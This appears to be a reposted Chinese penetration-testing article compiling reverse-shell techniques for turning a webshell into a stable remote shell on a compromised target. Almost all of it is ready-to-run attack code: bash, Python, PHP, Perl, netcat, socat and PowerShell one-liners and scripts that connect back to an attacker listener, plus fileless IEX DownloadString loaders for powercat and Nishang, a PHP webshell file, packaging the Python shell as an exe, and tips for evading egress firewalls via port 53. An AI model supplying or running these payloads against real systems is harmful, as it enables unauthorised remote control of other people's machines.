概述
-
外网渗透的最后一步,内网渗透的第一步。 -
一般外网打点完成、Web 漏洞利用成功后,通常会在目标机上获得一个 Webshell,但是 Webshell 虽然能执行命令和管理文件,但毕竟不是真正的 Shell,而且也不稳定,因此就需要获取一个稳定的 Shell 环境。 -
通常情况下,局域网边界或服务器自身会有防火墙,很少会允许其他设备随便连接自己的某一个端口,只有某些特定端口可能会被允许访问,例如发布了一个 Web 服务 80 端口。
-
此时正向 Shell 就不起作用了,但防火墙对于内网访问外网设备的端口一般不会做限制,这时候就可以使用反向 Shell,也就是攻击者指定并监听一个端口,此时我们就可以通过写一个脚本或命令让目标设备执行,目标设备就会连接自己,并将 Shell 传递过来。 -
当然,如果管理员安全意识比较高,也会限制自己的服务器访问其它设备的某些端口,这时我们可以指定常用的端口进行监听,例如服务器会使用到 DNS 服务 53 端口,这时候攻击者就可以监听 53 端口让目标服务器来连接自己。
使用场景
-
由于防火墙限制,目标机器只能主动向外发送请求,不能接收请求。 -
拿到了目标机器的远程执行命令权限,比如 Webshell 权限,为操作方便想要在本机拿到 Shell,因为有时候一些操作在 Webshell 中是没办法正常工作的。 -
目标机器位于局域网(私网地址),没有映射到公网,正向 Shell 直接连接不了。 -
目标机器的 IP(公网地址) 动态改变,我们无法持续控制目标。 -
对于好不容易在目标系统落地的木马,受害者什么时候能中招、对方的网络环境是什么样的、什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。
方法
-
反弹 Shell 的方式有很多,具体要用哪种方式还需要根据目标机器的环境来确定。 -
比如目标机器上如果安装有 Netcat(瑞士军刀),那我们就可以利用 Netcat 反弹 Shell、如果具有 Python 环境,我们就可以利用 Python 反弹 Shell、如果具有 PHP 环境,我们就可以利用 PHP 反弹 Shell。
接下来我们选择部分方式举例
bash 反弹 Shell
攻击机
nc -lvp 6666 # 监听 6666 端口
目标
bash -i >& /dev/tcp/192.168.49.139/6666 0>&1
效果
命令含义
bash -i# 打开一个交互的 bash>&# 将标准错误输出合并,并重定向到标准输出,也可以写成 &>/dev/tcp/192.168.49.139/6666# 调用 socket,建立 socket 连接,其中 192.168.49.139 是要反弹到的主机 IP,6666 为端口。# /dev/tcp/ 是 Linux 中一个特殊的设备,打开这个文件就相当于发出了一个 socket 调用,建立一个 socket 连接,读写这个文件就相当于在这个 socket 连接中传输数据。同理,Linux 中还存在 /dev/udp/。0>&1# 标准输入重定向到标准输出,实现你与反弹出来的 Shell 的交互,可以接受用户输入,0>&1 和 0<&1 是相同的作用
目标存在 Python 环境,Python 反弹 Shell
攻击机
nc -lvp 6666
目标
方法一
-
执行命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.139",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
效果
方法二
-
创建文件(revere_shell_win.py)
# -*- coding:utf-8 -*-import osimport selectimport socketimport sysimport subprocessdef ReserveConnect(addr, port):'''反弹连接shell''' try: shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shell.connect((addr,port)) except Exception as reason:print ('[-] Failed to Create Socket : %s'%reason)exit(0) rlist = [shell] wlist = [] elist = [shell]while True: shell.send("cmd:".encode()) rs,ws,es = select.select(rlist,wlist,wlist)for sockfd in rs:if sockfd == shell:command = shell.recv(1024).decode() # 将接收到的数据转换为字符串类型ifcommand == 'exit': shell.close()break result, error = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate() shell.sendall(result.decode("GB2312").encode("UTF-8"))# 主函数运行def run():if len(sys.argv)<3:print('Usage: python reverse.py [IP] [PORT]')else: url = sys.argv[1] port = int(sys.argv[2]) ReserveConnect(url,port)if __name__ == '__main__': run()
-
执行命令
python revere_shell_win.py 192.168.49.139 6666
-
效果
注意:
如果目标系统中没有 python 环境,也可以将上述脚本打包成 exe 文件。使用 pyinstaller 等工具将该文件打包为 exe 文件,直接上传 exe 到目标系统运行即可。
pip install pyinstalle
pyinstaller -Fw revere_shell_win.py
目标存在 PHP 环境,PHP 反弹 Shell
攻击机
nc -lvp 6666
目标
方法一
-
直接 PHP 执行
php -r '$sock=fsockopen("192.168.49.139",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
-
效果
方法二
-
上传或创建 PHP 脚本文件(re.php),然后浏览器访问
<?phpsystem("bash -c 'bash -i >& /dev/tcp/192.168.49.139/6666 0>&1'");?>
-
效果
注意:
如果 PHP 没有在环境变量中,指定 PHP 的绝对路径即可。
目标存在 Perl 环境,Perl 反弹 Shell
攻击机
nc -lvp 6666
目标
perl -e 'use Socket; $i="192.168.49.139";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
效果
目标存在 Netcat 工具,Netcat 反弹 Shell
攻击机
nc -lvp 6666
目标
-
Linux
nc 192.168.49.139 6666 -e /bin/bash
-
Windows
nc 192.168.49.139 6666 -e c:windowssystem32cmd.exe
注意:
有些版本的 nc 是没有 -e 参数的(非传统版)
此时可以通过 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.49.139 6666 >/tmp/f 命令反弹。
利用 Socat 反弹 Shell
Socat 是强大易用的网络工具,可以实现任意 Socket 的转换。可以看作是 nc 的增强版。
攻击机
socat TCP-LISTEN:2333 -或 nc -lvp 6666
目标
socat tcp-connect:192.168.49.139:6666 exec:'bash -li',pty,stderr,setsid,sigint,sane
效果
利用 powercat 反弹 shell
powercat 是 Powershell 版的 Netcat,实际上是一个 powershell 的函数,使用方法类似 Netcat。
网站:https://github.com/besimorhino/powercat
攻击机
nc -lvp 6666
目标
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.49.139 -p 6666 -e cmd
注意:
通过 powershell 下载脚本,然后去执行。这种方式是没有文件落地的,而是直接加载进内存执行。
效果
利用 Nishang 反弹 shell
Nishang 是一个基于 PowerShell 的攻击框架,集合了一些 PowerShell 攻击脚本和有效载荷,可反弹 TCP / UDP / HTTP / HTTPS / ICMP 等类型 shell。
网站:https://github.com/samratashok/nishang
攻击机
nc -lvp 6666
目标
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.49.139 -port 6666
效果
自定义 powershell 函数反弹 shell
利用 powershell 创建一个 Net.Sockets.TCPClient 对象,通过 Socket 反弹 tcp 的 shell,其实也是借鉴 nishang 中的 Invoke-PowerShellTcpOneLine.ps1。
攻击机
nc -lvp 6666
在任意网站根目录创建文件 listen_tcp.ps1,内容如下
function Invoke-lltestTcp{$client = New-Object Net.Sockets.TCPClient('192.168.49.139',6666)$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)$sendback = (iex $data 2>&1 | Out-String )$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte,0,$sendbyte.Length)$stream.Flush()}$client.Close()}
目标
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.131/listen_tcp.ps1');Invoke-lltestTcp
效果
还有 Ncat、Ruby、Telnet、Awk、Java、Lua、MSF 等等都可以实现反弹效果...
原文始发于微信公众号(大伯为安全):外网渗透最后一步,内网渗透第一步——反弹Shell大全
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论